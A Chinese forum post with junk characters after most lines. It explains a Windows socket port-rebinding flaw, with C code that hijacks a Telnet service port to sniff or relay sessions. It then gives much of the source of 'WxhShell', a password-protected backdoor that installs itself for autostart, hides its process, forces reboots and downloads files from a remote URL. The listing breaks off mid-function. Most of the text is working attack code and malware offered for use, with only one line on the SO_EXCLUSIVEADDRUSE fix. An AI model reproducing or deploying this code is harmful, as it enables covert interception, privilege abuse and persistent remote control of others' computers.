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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kc:>[{9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z`jSpgWR  
VUQx"R9-  
  saddr.sin_family = AF_INET; "3Lq/mJYnZ  
OMz_xm.UPi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 71I: P|.>  
g.]S5(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U=vh_NHj  
d95 $w8>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NGs@z^&V  
OH_mZA  
  这意味着什么?意味着可以进行如下的攻击: Qw@_.I  
u|Tg*B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bMvHAtp  
j96\({;k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,?KN;~t#vz  
6E))4 lW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6qF9+r&e ?  
'<!T'l:R:/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wj$WE3Y  
Oe_*(q&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R\MFh!6sn  
gc[BP>tl\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5f- eWW]!  
tXg>R _\C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]7/6u.G7R  
mNDd>4%H_  
  #include *f*o ,~8V1  
  #include \-nbV#{  
  #include )d =8)9B  
  #include    @\}w8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T:|PSJc0  
  int main() <ZXK}5SZ#  
  { TJ`Jqnh  
  WORD wVersionRequested; {~0r3N4Zl  
  DWORD ret; ":Uv u[-  
  WSADATA wsaData; L >HyBB  
  BOOL val; D6NgdE7b  
  SOCKADDR_IN saddr; #bZT&YE^  
  SOCKADDR_IN scaddr; bL 9XQ:$C  
  int err; CGCI3Z'  
  SOCKET s; L^%jR=  
  SOCKET sc; NU/:jr.W#  
  int caddsize; ZGgM- O1  
  HANDLE mt; ]dU/;8/%  
  DWORD tid;   uk<JV*R=  
  wVersionRequested = MAKEWORD( 2, 2 ); T8US` MZ  
  err = WSAStartup( wVersionRequested, &wsaData ); V 3yt{3Or  
  if ( err != 0 ) { FI=]K8  
  printf("error!WSAStartup failed!\n"); 6_a~ 4_#  
  return -1; <"HbX  
  } Sf"]enwB  
  saddr.sin_family = AF_INET; w\`u |f;Aq  
   2J1YrHj3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /xh/M@G3  
1 [D,Mu%E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NB#-W4NA  
  saddr.sin_port = htons(23); 4lsg%b6_%,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UR' P,  
  { ~Kll.  
  printf("error!socket failed!\n"); )|Md"r_B  
  return -1; d>k"#|  
  } mWiX@#,  
  val = TRUE; f~-Ipq;F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]IeyJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $PbwC6>8  
  { xwe^_7  
  printf("error!setsockopt failed!\n"); 01&J7A2  
  return -1; )2dTgvy  
  } >[&Zs3>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oJln"-M1nx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >j}.~$6dj_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m6iQB\ \  
e)): U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]zUvs6ksLG  
  { tZ*z.3\<  
  ret=GetLastError(); 2nkUvb%=  
  printf("error!bind failed!\n"); 4O1[D? )`x  
  return -1; E(/M?>t-  
  } :}{,u6\  
  listen(s,2); %[J|n~8_Z  
  while(1) /AhN$)(O  
  { vC|V8ea  
  caddsize = sizeof(scaddr); xa]e9u%  
  //接受连接请求 ['#3GJz-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )a0%62  
  if(sc!=INVALID_SOCKET) QsC6\Gt#  
  { 0fP-[7P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 60Szn]z'8[  
  if(mt==NULL) `zjbyY  
  { *wNO3tP't  
  printf("Thread Creat Failed!\n"); Di>B:=  
  break; /+g)J0u  
  } Kjfpq!NYE  
  } V0)F/qY  
  CloseHandle(mt); Hy| X>Z  
  } h&O8e;S#  
  closesocket(s); *r|)@K|  
  WSACleanup(); lq*{2M{[  
  return 0; EI!e0 V1!  
  }   3V)NM%Aw  
  DWORD WINAPI ClientThread(LPVOID lpParam) /+zzZnLl-M  
  { \Zbi`;m?  
  SOCKET ss = (SOCKET)lpParam; {ZR>`'^:  
  SOCKET sc; hsEQ6  
  unsigned char buf[4096]; KDEcR  
  SOCKADDR_IN saddr; =*Ru 2  
  long num; FdFN4{<QZ  
  DWORD val; |xX>AMZc)D  
  DWORD ret; 3S h#7"K3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qk h}=3u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gK+/wTQ%  
  saddr.sin_family = AF_INET; BMxe)izT;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H){lXR/#u  
  saddr.sin_port = htons(23); )"4v0dv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *p=a-s5-  
  { 2Pz)vnV"  
  printf("error!socket failed!\n"); Trz41g  
  return -1; "o6a{KY(  
  } REc+@;B  
  val = 100; R}J}Q b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %IhUQ6  
  { *!- J"h  
  ret = GetLastError(); }<KQ +  
  return -1; F* h\#?  
  } K%iA-h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KVA~|j B  
  { hH])0C  
  ret = GetLastError(); &m8Z3+Ea  
  return -1; D g~L"  
  } dub %fs  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [44C`x[8M+  
  { 3Lw&HtH  
  printf("error!socket connect failed!\n"); GT3 ?)g{Z  
  closesocket(sc); -lDAxp6p  
  closesocket(ss); uqFYa bU  
  return -1; (>usa||  
  } ^j>w<ljzz  
  while(1) TeXt'G=M  
  { }VI}O{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j| X>:!4r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2ms@CQy(00  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zc#$hIi  
  num = recv(ss,buf,4096,0); DSX.84  
  if(num>0) \I[50eh|  
  send(sc,buf,num,0); .QVZ!  
  else if(num==0) m2h@*  
  break; *%;+3SV  
  num = recv(sc,buf,4096,0); RwyRPc _  
  if(num>0) l:$i}.C  
  send(ss,buf,num,0); TOC2[m c'  
  else if(num==0) NPY\ >pf  
  break; f&ri=VJY\T  
  } U2TR>0l  
  closesocket(ss);  VsR8|Hn$  
  closesocket(sc); L^><APlX  
  return 0 ; DJ.n8hne  
  } 4te QG  
bWEti}kW  
I`-N]sf^  
========================================================== :y%CP8  
io{\+%;b~  
下边附上一个代码,,WXhSHELL rD":Gac  
}{#ty uzAo  
========================================================== Lw_s'QNWR  
!gbPxfH:6  
#include "stdafx.h" qOM"?av  
GX-V|hLaGX  
#include <stdio.h> k?7V#QW(  
#include <string.h> o{r<=X ysM  
#include <windows.h> RW I7eC  
#include <winsock2.h> W3aFao>!OZ  
#include <winsvc.h> *47',Qy  
#include <urlmon.h> SNl% ?j| f  
_ 0g\g~[  
#pragma comment (lib, "Ws2_32.lib") q47:kB{d  
#pragma comment (lib, "urlmon.lib") TcEvUZJ"  
P|' eM%  
#define MAX_USER   100 // 最大客户端连接数 y Nc"E  
#define BUF_SOCK   200 // sock buffer 14Y<-OO: k  
#define KEY_BUFF   255 // 输入 buffer @B#\3WNt  
OJ!=xTU%h  
#define REBOOT     0   // 重启 sfKu7puc  
#define SHUTDOWN   1   // 关机 +$y%H  
Tt\h#E  
#define DEF_PORT   5000 // 监听端口 |X6/Y@N  
vv0+F6 @  
#define REG_LEN     16   // 注册表键长度 Nt'6Y;m!  
#define SVC_LEN     80   // NT服务名长度 [3|&!:4g6  
rO3.%B}  
// 从dll定义API -{O>'9'1A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JVxGS{Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +0Z,#b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J,SP1-L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]qpLaBD  
IF~E;  
// wxhshell配置信息 ZlG|U]mM5  
struct WSCFG { sDXD>upO  
  int ws_port;         // 监听端口 Svqj@@_f  
  char ws_passstr[REG_LEN]; // 口令 9Q /t+  
  int ws_autoins;       // 安装标记, 1=yes 0=no qr<RMs  
  char ws_regname[REG_LEN]; // 注册表键名 ::`#qa4!  
  char ws_svcname[REG_LEN]; // 服务名 $LkTu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 734f &2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |^k&6QO5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (2uF<$7(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "kS!rJ[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s:ZYiZ-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8Z[YcLy"({  
`WRM7  
}; o!@}&DE|*L  
h'm-]v  
// default Wxhshell configuration {i#z <ttu  
struct WSCFG wscfg={DEF_PORT, Wb{0UkApJ  
    "xuhuanlingzhe", )Bw}T  
    1, rZ#ZY  
    "Wxhshell", J1UG},-h  
    "Wxhshell", 50jZu'z:  
            "WxhShell Service", s{9 G//  
    "Wrsky Windows CmdShell Service", CR8szMa  
    "Please Input Your Password: ", eEl71  
  1,  @ ^cR  
  "http://www.wrsky.com/wxhshell.exe", ! %X#;{  
  "Wxhshell.exe" :tf'Gw6v  
    }; \@!"7._=  
hH(w O\s  
// 消息定义模块 Nbvs_>N   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |w].*c}Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HE|XDcYO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KBOp}MEz  
char *msg_ws_ext="\n\rExit."; !*G%vOa  
char *msg_ws_end="\n\rQuit."; NXHe;G  
char *msg_ws_boot="\n\rReboot..."; u8Ak2:   
char *msg_ws_poff="\n\rShutdown..."; aM7=>  
char *msg_ws_down="\n\rSave to "; s~'"&0Gz  
(J 1:J  
char *msg_ws_err="\n\rErr!"; GTuxMg`  
char *msg_ws_ok="\n\rOK!"; f Hd|tl  
VS jt|F)t  
char ExeFile[MAX_PATH]; cMK}BHOC  
int nUser = 0; U-U"RC>  
HANDLE handles[MAX_USER]; /P%OXn$i/  
int OsIsNt; O;lGh1.  
WRov7  
SERVICE_STATUS       serviceStatus; [jEZ5]%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fW=vN0Z  
c]%~X&Tg`  
// 函数声明 F87/p  
int Install(void); urhOvC$a  
int Uninstall(void); .L@gq/x)  
int DownloadFile(char *sURL, SOCKET wsh); )lZoXt_3  
int Boot(int flag); Y?v{V>;*A  
void HideProc(void); l=PZlH y1G  
int GetOsVer(void); H@!]5 <:9  
int Wxhshell(SOCKET wsl); `nrw[M?  
void TalkWithClient(void *cs); 10d.&vNw  
int CmdShell(SOCKET sock); z5p5=KOb  
int StartFromService(void); *$Z,kZ^^  
int StartWxhshell(LPSTR lpCmdLine); 6o d^+>U  
["^? vhv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <&RpGAk%I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \2))c@@%  
$a'}7Q_  
// 数据结构和表定义 RJ1 @ a  
SERVICE_TABLE_ENTRY DispatchTable[] = Dbu>rESz  
{ ]?%S0DO*  
{wscfg.ws_svcname, NTServiceMain}, `?G&w.Vs  
{NULL, NULL} ,GF]+nI89  
}; b4&l=^:e=  
XR_Gsb%l  
// 自我安装 E?- ~*T  
int Install(void) HA74s':FN  
{ 3O*^[$vM  
  char svExeFile[MAX_PATH]; &u2H^ j  
  HKEY key; C2{*m{ D  
  strcpy(svExeFile,ExeFile); T5Iz{Ha  
p1UYkmx[  
// 如果是win9x系统,修改注册表设为自启动 B~B,L*kC2  
if(!OsIsNt) { 0b G#'.-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Ts[NXa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }jg 1..)"<  
  RegCloseKey(key); N*+L'bO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [vqf hpz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;ObrBN,Fu  
  RegCloseKey(key); F0kdwN4;  
  return 0; Z4oD6k5oc  
    } +rJDDIb  
  } 7M)<Sv  
} E#R1  
else { o3$dl`'  
[}HS[($  
// 如果是NT以上系统,安装为系统服务 ik#ti=.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H'+3<t>  
if (schSCManager!=0) 5PsjGvm.%  
{ Ya4yW9*  
  SC_HANDLE schService = CreateService l >~Rzw  
  ( =o4gW`\z  
  schSCManager,  SQ&}18Z~  
  wscfg.ws_svcname, iU RSYR  
  wscfg.ws_svcdisp, [y~kF?a  
  SERVICE_ALL_ACCESS, d uP0US  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NvC @  
  SERVICE_AUTO_START, "U!Vdt2vp  
  SERVICE_ERROR_NORMAL, =~k}XB  
  svExeFile, EU7nS3K)O~  
  NULL, 0t[ 1#!=k  
  NULL, EM(%|#  
  NULL, /dO*t4$@?  
  NULL, T|,/C|L  
  NULL .W\JvPTC  
  ); $*`E;}S0  
  if (schService!=0) &NOCRabc  
  { VTU(C&"S  
  CloseServiceHandle(schService); eA*We  
  CloseServiceHandle(schSCManager); z\"9T?zoo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k t'[  
  strcat(svExeFile,wscfg.ws_svcname);  //0Y#"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :k-@w5(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g/(BV7V  
  RegCloseKey(key); {#~A `crO  
  return 0; -<L5;  
    } jvxCCYXR  
  } &kcmkRRG  
  CloseServiceHandle(schSCManager); R xS{  
} E 6+ ooB[  
} P%ThW9^vnj  
, `PYU[  
return 1; $4*gi&  
} EeH ghq  
@Ko#nDEq  
// 自我卸载 %k<+#j6ZH  
int Uninstall(void) 39MOqVc  
{ bI^F (  
  HKEY key; -Kw7! =_ g  
Kn1T2WSAg  
if(!OsIsNt) { ?9%$g?3Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tq SjL{l%  
  RegDeleteValue(key,wscfg.ws_regname); '14 86q@[$  
  RegCloseKey(key); v,Zoy|Lu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vw3=jIQN:!  
  RegDeleteValue(key,wscfg.ws_regname); .K1wp G[4  
  RegCloseKey(key); 9kwiG7V1  
  return 0; Nv|0Z'M  
  } f|ERZN`uB  
} \GV'{W+o2  
} ;O|u`fAqT  
else { Rn`DUYg  
9R">l5u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4 L 5$=V  
if (schSCManager!=0) JP(0/?Q  
{ | #b/EA9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QyY<Zi;6  
  if (schService!=0) 8)M WC:  
  { @^J>. g  
  if(DeleteService(schService)!=0) { sy-#Eo#3  
  CloseServiceHandle(schService); )c?nh3D  
  CloseServiceHandle(schSCManager); 4;@L#Pzt  
  return 0; Z +O< IF%  
  } <EdNF&S-  
  CloseServiceHandle(schService); w+Gav4  
  } 2R ^6L@fw  
  CloseServiceHandle(schSCManager); _0ZU I^#  
} k)[c!\a[i  
} R<vbhB/lU  
GHo mk##0E  
return 1; 11 k}Ly  
} _k;HhLj`  
2G<XA  
// 从指定url下载文件 Sn^M[}we  
int DownloadFile(char *sURL, SOCKET wsh) t BG 9Mn  
{ ;JMmr-@  
  HRESULT hr; d^v.tYM$N  
char seps[]= "/"; k2.k}?w!JO  
char *token; L4ct2|w}ul  
char *file; yY*(!^S  
char myURL[MAX_PATH]; Z$r7Hi  
char myFILE[MAX_PATH]; ur7S K(#  
(Q&O'ng1  
strcpy(myURL,sURL); FUZuS!sJ  
  token=strtok(myURL,seps); 7z&$\qu2  
  while(token!=NULL) mi7~(V>  
  { KfYT  
    file=token; vT @25  
  token=strtok(NULL,seps); dc_2nF  
  } =q|//*t2  
:Rnwyj])  
GetCurrentDirectory(MAX_PATH,myFILE); 2[j`bYNe  
strcat(myFILE, "\\"); lA;qFXaN>  
strcat(myFILE, file); K`60[bdp  
  send(wsh,myFILE,strlen(myFILE),0); g>#}(u!PH  
send(wsh,"...",3,0); | +uc;[`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); th<>%e}5c  
  if(hr==S_OK) Oqt{ uTI~  
return 0; d(@ ov^e-  
else I~Qi):&x  
return 1; c4r9k-w0E  
8H T3C\$s  
} +F%tBUY{<  
Ct zW do.  
// 系统电源模块 .JJ50p  
int Boot(int flag) "zzb`T[8  
{ _ b</ ::Tp  
  HANDLE hToken; XX "3.zW  
  TOKEN_PRIVILEGES tkp; Sqyju3Yp  
1)qD)E5&cf  
  if(OsIsNt) { }W(t> >  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .<xD'54  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yq<W+b/  
    tkp.PrivilegeCount = 1; lDF7~N9J_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g:!R't?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V]"pM]>3X  
if(flag==REBOOT) { Z }Q/u^Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a;nYR5f  
  return 0; WS?Y8~+{5  
} ?AQA>D#W  
else { ;Bw3@c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^R)]_   
  return 0; 2$VSH&  
} feeHXKD|  
  } U!K#g_}  
  else { QUfF>,[sv  
if(flag==REBOOT) { W7@Vma`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %`\Qtsape  
  return 0; ?^^TR/  
} uq7/G|  
else { @v!#_%J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oIMS >&  
  return 0; Fu\#:+5\  
} -V[!qI  
} fY #Yn  
Fg}t{e]3a  
return 1; ]scr@e  
} 'A\0^EvVv  
O*B9 Bah  
// win9x进程隐藏模块 J4z&J SY  
void HideProc(void) Dkh=(+> <  
{ x9 n(3Oa  
:f7vGO"t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iP:^nt?  
  if ( hKernel != NULL ) _JA)""l%  
  { +_gA"I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gS`Z>+V5!c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G `B=:s]  
    FreeLibrary(hKernel); cWo__EE  
  } $2blF)uYE  
u6IM~kk>5  
return; a40>_;}:x  
} ae2SU4Jx  
II[-6\d!  
// 获取操作系统版本 Ge=\IAj  
int GetOsVer(void) hx/A215L  
{ b^()[4M;  
  OSVERSIONINFO winfo; PL!dkaD^y>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =4U$9jo!;  
  GetVersionEx(&winfo); CyB4apJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <1:I[b  
  return 1; {i3=N{5b  
  else ] \!,yiVeU  
  return 0; #e[r0f?U  
} ,9ew75Jl  
r(_Fr#Qn  
// 客户端句柄模块 * kUb[  
int Wxhshell(SOCKET wsl) 5lM 3In@  
{ d-W*`:Q  
  SOCKET wsh; /[ Rp~YzW  
  struct sockaddr_in client; gp H@F X  
  DWORD myID; Qv;b$by3  
0AoWw-H6V  
  while(nUser<MAX_USER) MBU4Awj  
{ No+BS%F5  
  int nSize=sizeof(client); &_j<! 3*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *YX:e@Fm.a  
  if(wsh==INVALID_SOCKET) return 1; U2~|AkL  
3O _O5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1!E}A!;  
if(handles[nUser]==0) ]=/?Ooh  
  closesocket(wsh); vBM<M3  
else H7<g5pv  
  nUser++; Sco'] ^#(  
  } g:p` .KuB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +JXn   
A_2lG!! 6  
  return 0; v;}MHl  
} CP$,fj  
!|9k&o  
// 关闭 socket 5Fq+^  
void CloseIt(SOCKET wsh) jMX|1b  
{ P=y1qqC  
closesocket(wsh); {!wd5C@  
nUser--; U7,.L  
ExitThread(0); `bn@;7`X  
} -*-"kzgd  
Ys?0hd<cn  
// 客户端请求句柄 LfCgvq6/pO  
void TalkWithClient(void *cs) &g0r#K  
{ R mo'3  
4<5*HpW  
  SOCKET wsh=(SOCKET)cs; %rEP.T\i  
  char pwd[SVC_LEN]; :`<MlX  
  char cmd[KEY_BUFF]; T8W^qrx.v  
char chr[1]; qDfhR`1k  
int i,j; Z*v`kl  
<$#^)]Ts  
  while (nUser < MAX_USER) { TQ[J,  
_. EM])b  
if(wscfg.ws_passstr) { pE0@m-p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vNZ"x)?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e ]2GAJLI  
  //ZeroMemory(pwd,KEY_BUFF); Z7?\ >4V  
      i=0; %j{*`}  
  while(i<SVC_LEN) { {W%XS E  
oL!C(\ERh  
  // 设置超时 4Yt'I#*  
  fd_set FdRead; }?O>.W,/  
  struct timeval TimeOut; W*n|T{n  
  FD_ZERO(&FdRead); /R6\_oM  
  FD_SET(wsh,&FdRead); Vy c  
  TimeOut.tv_sec=8; &0d5".|s  
  TimeOut.tv_usec=0; T)e Uo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aqQ  U7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0j}@lOt(  
(#qQ;ch  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BgB0   
  pwd=chr[0]; [g=4'4EZc  
  if(chr[0]==0xd || chr[0]==0xa) { 8M BY3F  
  pwd=0; wARd^Iw  
  break; Kv#Q$$)r  
  } `nc=@" 1  
  i++; fN9uSnu  
    } :SZi4:4-J8  
i.FdZN{  
  // 如果是非法用户,关闭 socket xsvJjs;=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UA4MtTp`  
} 9tmnx')_  
GK3cQw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :01B)~^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Yw42`> !s  
8zjJshE/  
while(1) { _5OxESE  
bJ eF1LjS  
  ZeroMemory(cmd,KEY_BUFF); Sg\+al7  
ndk~(ex|j  
      // 自动支持客户端 telnet标准   wawJZ+V  
  j=0; lt\Bm<"z!1  
  while(j<KEY_BUFF) { &F'n >QT9q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M`)3(|4  
  cmd[j]=chr[0]; EQ"+G[j~x  
  if(chr[0]==0xa || chr[0]==0xd) { [3x*47o"z  
  cmd[j]=0; 20:![/7:!  
  break; <" 0b 8 Z  
  } P#rS.CIh  
  j++; 6;M{suG|  
    } QVl"l'e8  
_!?a9  
  // 下载文件 o,$K=#Iv  
  if(strstr(cmd,"http://")) { (SA^> r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ],'"iVh  
  if(DownloadFile(cmd,wsh)) dMI G2log  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BJp~/H`vd  
  else %P C[-(Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3aJYl3:0B  
  } }5Km \OI  
  else { @jZ1WHS_a  
fOP3`G^\  
    switch(cmd[0]) { \GK]6VW  
  ZJ/K MW  
  // 帮助 Nkn2\ w  
  case '?': { #TB 3|=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /#?! 9c  
    break; pTH5-l_f ]  
  } :g+ wv}z  
  // 安装 MaF4lFmS  
  case 'i': { CWb*bw0  
    if(Install()) DIkf#}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fW=eB'Sl  
    else 7IrH(~Fo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3A.lS+P1  
    break; :+8qtIytKX  
    } D&DbxTi  
  // 卸载 `1lGAKv  
  case 'r': { uu/2C \n}  
    if(Uninstall()) !';;q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( yB]$  
    else Qn;,OB k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ghTue*A  
    break; O]oH}#5b  
    } &fE2zTz  
  // 显示 wxhshell 所在路径 EQ>@K-R  
  case 'p': { +.-mqtM  
    char svExeFile[MAX_PATH]; ]UGk"s5A  
    strcpy(svExeFile,"\n\r"); x X.{(er  
      strcat(svExeFile,ExeFile); s'BlFB n  
        send(wsh,svExeFile,strlen(svExeFile),0); , hp8b$  
    break; l4U  
    } c/l^;6O/!\  
  // 重启 \4O_@d`A  
  case 'b': { <driD'=F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Tz&h[+6`  
    if(Boot(REBOOT)) v]}\Ns/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YhP+{Y8t  
    else {  _ Ewkb  
    closesocket(wsh); &7r a  
    ExitThread(0); TK0W=&6#A  
    } OMBH[_  
    break; 1I40N[PE)  
    } |FSp`P  
  // 关机 .X:,]of  
  case 'd': { /0XmU@B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WYIv&h<h"  
